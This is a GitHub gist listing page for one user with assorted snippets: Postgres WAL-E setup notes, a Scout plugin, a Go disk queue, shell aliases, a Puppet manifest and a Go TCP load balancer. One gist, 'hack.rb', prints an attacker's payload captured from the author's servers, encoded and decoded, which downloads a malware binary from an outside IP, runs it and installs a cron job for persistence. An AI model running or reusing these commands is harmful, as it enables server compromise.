Skip to content

Instantly share code, notes, and snippets.

🏠
Working from home

Daniel Huckstep darkhelmet

🏠
Working from home
Block or report user

Report or block darkhelmet

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@darkhelmet
darkhelmet / wale_postgres_recovery.md
Created Feb 15, 2014 — forked from elithrar/wale_postgres_recovery.md
WAL-E + Postgres 9.x (single server + DB) Setup and Recovery
View wale_postgres_recovery.md

A quick "how to" on what you need to do to both setup AND recover a single-server PostgreSQL database using WAL-E

  • WAL-E: https://github.com/wal-e/wal-e
  • Assuming Ubuntu 12.04 LTS ("Precise")
  • We'll be using S3. Make sure you have an IAM in a group with GetObject, ListBucket and PutObject on the bucket you want to use (and that it's not public).

Setup:

  1. These packages:
View reboot_required.rb
class RebootRequiredPlugin < Scout::Plugin
def build_report
reboot_required = system('file /var/run/reboot-required >/dev/null 2>&1')
report(:reboot_required => reboot_required ? 1 : 0)
end
end
View spooler.go
// package spooler implements a disk-persistent queue.
//
// Spooler uses MDB (LMDB) to implement a queue of byteslices. Its intended usecase
// is to enqueue work items received by a service before later working them off.
// Note that Spooler only flushes to disk up to once every 25ms. As a result,
// if the process or machine crashes unexpectedly, the most recent 25ms of work
// can be lost. This decision effectively increases throughput by 10,000%,
// but makes spooler unsuitable for jobs that absolutely cannot be allowed to fail
// under any circumstances.
package spooler
@darkhelmet
darkhelmet / heroes.kpeg
Last active Dec 24, 2015
weird kpeg behaviour
View heroes.kpeg
%% name = Heroes
%% {
attr_accessor :result
def self.run(text)
parser = new(text)
return parser.result if parser.parse
raise ParseError, parser.failure_info
end
View rc
alias master='git checkout master'
alias staging='git checkout staging'
alias release='git checkout release'
alias production='git checkout production'
alias rake='bundle exec rake'
alias rspec='bundle exec rspec'
alias cucumber='bundle exec cucumber'
eval "$(./sub/bin/ys init -)"
@darkhelmet
darkhelmet / host.pp
Last active Dec 20, 2015
Puppet manifest for scout
View host.pp
import "setup"
node server {
scout { "role1,role2":
gems => ["redis", "resque"]
}
}
View newrelic.rb
require 'new_relic/agent/instrumentation/sinatra'
module NewRelic
module Agent
module Instrumentation
module Sinatra
def ignore_apdex?
skip = self.response.status.to_i == 404
if skip
env.delete('sinatra.error')
@darkhelmet
darkhelmet / balance.go
Created Jun 16, 2013
Simple TCP load balancer in Go.
View balance.go
package main
import (
"flag"
"io"
"log"
"net"
"strings"
)
@darkhelmet
darkhelmet / hack.rb
Created May 23, 2013
What this Ukraine hacker was trying to run on our servers.
View hack.rb
# Wanted to eval this
%[c3lzdGVtKCJ3Z2V0IC1PIC92YXIvdG1wL2sgMTg4LjE5MC4xMjQuMTIwL2thaXRlbi1iaW4iKQpzeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL2siKQpzeXN0ZW0oIi92YXIvdG1wL2siKQpzeXN0ZW0oJ2Nyb250YWIgLXInKQpzeXN0ZW0oJyhjcm9udGFiIC1sIDsgZWNobyAiKiAxICogKiAqIHdnZXQgLU8gL3Zhci90bXAvayAxODguMTkwLjEyNC4xMjAva2FpdGVuLWJpbiAmJiBjaG1vZCAreCAvdmFyL3RtcC9rICYmIC92YXIvdG1wL2siKSB8IGNyb250YWIgLScp].unpack(%[m0])[0]
# Which would run this
system("wget -O /var/tmp/k 188.190.124.120/kaiten-bin")
system("chmod +x /var/tmp/k")
system("/var/tmp/k")
system('crontab -r')
system('(crontab -l ; echo \"* 1 * * * wget -O /var/tmp/k 188.190.124.120/kaiten-bin && chmod +x /var/tmp/k && /var/tmp/k\") | crontab -')
View thash.go
package thash
import (
"sync"
"sync/atomic"
"time"
)
type THashDefer struct {
h map[int]string
You can’t perform that action at this time.